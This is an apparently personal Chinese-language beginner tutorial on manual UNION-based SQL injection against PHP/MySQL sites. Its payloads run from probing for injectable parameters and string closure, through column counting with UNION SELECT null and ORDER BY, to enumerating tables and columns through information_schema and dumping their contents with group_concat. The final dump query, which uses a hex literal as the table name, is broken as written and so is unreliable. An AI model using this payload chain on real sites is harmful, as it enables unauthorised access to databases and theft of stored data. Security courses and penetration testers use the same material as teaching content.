这篇文章是我个人对利用SQL注入爆破数据库的流程介绍及见解,假设环境无waf无检测,为最基础的入门教程。
测试环境
PHP+MySQL
本文章基于该环境讲述
代码风格
为了在长长的代码语句中突出各数据类型,现在我把数据库执行函数用大写区分,数据用小写区分。
注入点
注入点一般存在于网站前端与后端进行数据交互的地方,即用户可控参数,如网站查询,用户登录,URL中的get请求。这些信息在后端已经创建好查询语句,一般形式都是:
$xxx =$_POST['xxx'];
$sql = "SELECT * FROM table WHERE xxx = '$xxx'";
一般提交的表单信息都会传入查询语句进行查询,但如果程序处理表单数据存在注入漏洞,则该交互处可称为注入点。
进行SQL注入最重要的一步是找到注入点,可以使用:
a'
a' and 1=1#
a' and 1=2#
1+1
1+2
注入这些语句,判断服务端返回数据差异判断是不是注入点。更多的判断语句需要根据语句包含数据的方法进行构造,需参考下一段。
闭合
找到注入点,下一步需要闭合,然后再注入我们的SQL语句。
闭合即是让后端的SQL语句提前“终结”,整型数据处可能不需要进行闭合即可带入SQL语句执行,但字符型数据处必须进行闭合。
以此处代码为例:
$xxx =$_POST['xxx'];
$sql = "SELECT * FROM table WHERE xxx = '$xxx'";
它将接收的数据进行查询,不管数据里面是什么都当作字符串看待。但在构造查询语句$sql
时用了单引号包含字符串,这操作也符合规范。但由于对于没有对数据$xxx
进行安全过滤,我们可以传入一个'
让其与左半部的单引号“成对”,然后这个'
左边的部分会被当作一般数据带入数据库进行查询,右边的部分则“逃逸”了出来,在其右边构造查询语句并适当完善整条语句或直接注释掉后面部分。
SQL注入就是闭合原先的SQL语句并拼接上攻击者想要执行的SQL语句。
语句中常用的包含数据的方法:
'xxx'
"xxx"
('xxx')
("xxx")
我们在数据里拼接上右半部分即可。
猜测列数量
假设我们已经知道如何闭合语句了,所以这部分及后面只贴出关键语句,需要根据环境自行闭合执行。
猜测列数量对于后续步骤执行至关重要,尤其是使用union select
联合查询。
UNION
操作符用于合并两个或多个SELECT语句的结果集,这里需要注意的是:UNION
内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时,每条SELECT语句中列的顺序必须相同。
基础的,使用:
UNION SELECT null,#
UNION SELECT null,null#
UNION SELECT null,null,null...#
...
不断增加null
的数量,直到服务端返回数据出现差异,一般表现为页面显示正常,则当前null
的数量即是列数量。
查询用的是null
,null
无类型,以免引起类型出错导致判断出错。
更简便的,我们可以用:
ORDER BY n#
n
由1开始递增,直到服务端返回数据出现差异,一般表现为页面出错,则当前n-1
即是列数量。
别称:
猜测列数量:爆字段
误解:
猜测出来的列数量不一定就是真实的数据库列数,这里得到的是查询得出的列数量。
查询基本信息
假设我们已经知道字段数了,那我先假设字段为3。
使用:
UNION SELECT 1,2,3#
查看服务端返回哪个数字,即把需要查询的东西替换掉该数字。如页面在原本显示正常信息的地方显示了2,即2代表的列是当前页面输出的列,我们可以在2处进行注入。像这样可注入的地方可能存在多个。
举个例子说明:
页面:注入语句及显示
数据库:列数量及位置
代码:展示排序,部分展示字段为其他数据库
因为查询到的是完整的一条信息,管理员根据需求选择其中的部分信息进行展示,而我们要得出数据库信息,就要在相应显示的位置进行查询。
特别提醒
如果UNION
前面的查询有效,则页面展示的是UNION
前面查询得出的数据,为此,我们需要使UNION
前面的查询恒为假,最简单的方法是添加
and 1=2
现在我们开始进行一些简单的信息查询:
and 1=2 UNION SELECT 1,user(),3# 查当前数据库用户
and 1=2 UNION SELECT 1,version(),3# 查当前数据库版本
and 1=2 UNION SELECT 1,database(),3# 查当前数据库名称
类似的信息还有很多,可自行收集代入查询。
查数据表
这里的数据表就是当前服务端使用的数据库里的各个表名称。
我们需要先了解一下information_schema
,这是MySQL数据库自带的数据库,这个数据库存放的是所有数据库和数据表的元信息(关于信息的信息)。
在information_schema
里的tables
和columns
表分别记录着数据库里所有的数据表和数据列。我们主要在这两个表里获取信息。
and 1=2 UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()#
这语句中的database()
就是我们当前使用的数据库,我们也可以改成其他数据库进行查询,但需要注意字符型的数据需要使用引号包含,建议转换成16进制。
关于group_concat():
如果当前查询返回多组数据,如上面查数据表的语句,若数据库有多个表,则会返回多组数据。但由于只能显示一个对象,则无法展示且会报错,这时需要用group_concat()把数据合并成一个记录。
查数据列
假设我们成功得出当前数据库所有的表,我们可以接着挖掘表中的列名称。
and 1=2 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x61# 假设数据表为a,0x61为a的16进制转换
不断替换table_name
后面的值,得出所有表中的列名。
查数据
这里是最后一步了。
假设在数据表a中得出列名为aa,bb,cc:
and 1=2 UNION SELECT 1,group_concat(aa,0x20,bb,0x20,cc),3 from 0x61#
group_concat()
中的0x20
当作分割符,方便数据分隔,以免混合在一起难以提取。